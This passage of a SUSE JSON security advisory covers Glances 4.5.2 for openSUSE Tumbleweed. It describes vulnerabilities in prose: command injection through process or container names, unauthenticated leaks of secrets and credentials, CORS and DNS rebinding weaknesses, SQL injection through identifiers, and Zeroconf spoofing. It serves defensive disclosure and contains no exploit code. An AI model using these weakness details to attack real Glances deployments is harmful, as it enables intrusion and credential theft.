            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-03-24T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2026-32596"
    },
    {
      "cve": "CVE-2026-32608",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-32608"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-32608",
          "url": "https://www.suse.com/security/cve/CVE-2026-32608"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1260320 for CVE-2026-32608",
          "url": "https://bugzilla.suse.com/1260320"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-03-24T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2026-32608"
    },
    {
      "cve": "CVE-2026-32609",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-32609"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Glances is an open-source system cross-platform monitoring tool. The GHSA-gh4x fix (commit 5d3de60) addressed unauthenticated configuration secrets exposure on the `/api/v4/config` endpoints by introducing `as_dict_secure()` redaction. However, the `/api/v4/args` and `/api/v4/args/{item}` endpoints were not addressed by this fix. These endpoints return the complete command-line arguments namespace via `vars(self.args)`, which includes the password hash (salt + pbkdf2_hmac), SNMP community strings, SNMP authentication keys, and the configuration file path. When Glances runs without `--password` (the default), these endpoints are accessible without any authentication. Version 4.5.2 provides a more complete fix.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-32609",
          "url": "https://www.suse.com/security/cve/CVE-2026-32609"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1259832 for CVE-2026-32609",
          "url": "https://bugzilla.suse.com/1259832"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-03-24T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2026-32609"
    },
    {
      "cve": "CVE-2026-32610",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-32610"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, the Glances REST API web server ships with a default CORS configuration that sets `allow_origins=[\"*\"]` combined with `allow_credentials=True`. When both of these options are enabled together, Starlette\u0027s `CORSMiddleware` reflects the requesting `Origin` header value in the `Access-Control-Allow-Origin` response header instead of returning the literal `*` wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance. Version 4.5.2 fixes the issue.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-32610",
          "url": "https://www.suse.com/security/cve/CVE-2026-32610"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1259841 for CVE-2026-32610",
          "url": "https://bugzilla.suse.com/1259841"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-03-24T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2026-32610"
    },
    {
      "cve": "CVE-2026-32611",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-32611"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Glances is an open-source system cross-platform monitoring tool. The GHSA-x46r fix (commit 39161f0) addressed SQL injection in the TimescaleDB export module by converting all SQL operations to use parameterized queries and `psycopg.sql` composable objects. However, the DuckDB export module (`glances/exports/glances_duckdb/__init__.py`) was not included in this fix and contains the same class of vulnerability: table names and column names derived from monitoring statistics are directly interpolated into SQL statements via f-strings. While DuckDB INSERT values already use parameterized queries (`?` placeholders), the DDL construction and table name references do not escape or parameterize identifier names. Version 4.5.3 provides a more complete fix.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-32611",
          "url": "https://www.suse.com/security/cve/CVE-2026-32611"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1259840 for CVE-2026-32611",
          "url": "https://bugzilla.suse.com/1259840"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-03-24T00:00:00Z",
          "details": "critical"
        }
      ],
      "title": "CVE-2026-32611"
    },
    {
      "cve": "CVE-2026-32632",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-32632"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Glances is an open-source system cross-platform monitoring tool. Glances recently added DNS rebinding protection for the MCP endpoint, but prior to version 4.5.2, the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist. As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin. This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target. Version 4.5.2 contains a patch for the issue.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-32632",
          "url": "https://www.suse.com/security/cve/CVE-2026-32632"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1259839 for CVE-2026-32632",
          "url": "https://bugzilla.suse.com/1259839"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-03-24T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2026-32632"
    },
    {
      "cve": "CVE-2026-32633",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-32633"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, the `/api/4/serverslist` endpoint returns raw server objects from `GlancesServersList.get_servers_list()`. Those objects are mutated in-place during background polling and can contain a `uri` field with embedded HTTP Basic credentials for downstream Glances servers, using the reusable pbkdf2-derived Glances authentication secret. If the front Glances Browser/API instance is started without `--password`, which is supported and common for internal network deployments, `/api/4/serverslist` is completely unauthenticated. Any network user who can reach the Browser API can retrieve reusable credentials for protected downstream Glances servers once they have been polled by the browser instance. Version 4.5.2 fixes the issue.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-32633",
          "url": "https://www.suse.com/security/cve/CVE-2026-32633"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1259838 for CVE-2026-32633",
          "url": "https://bugzilla.suse.com/1259838"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-03-24T00:00:00Z",
          "details": "critical"
        }
      ],
      "title": "CVE-2026-32633"
    },
    {
      "cve": "CVE-2026-32634",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-32634"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential. An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode. Version 4.5.2 fixes the issue.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-32634",
          "url": "https://www.suse.com/security/cve/CVE-2026-32634"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1259837 for CVE-2026-32634",
          "url": "https://bugzilla.suse.com/1259837"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2026-03-24T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2026-32634"
    }
  ]
}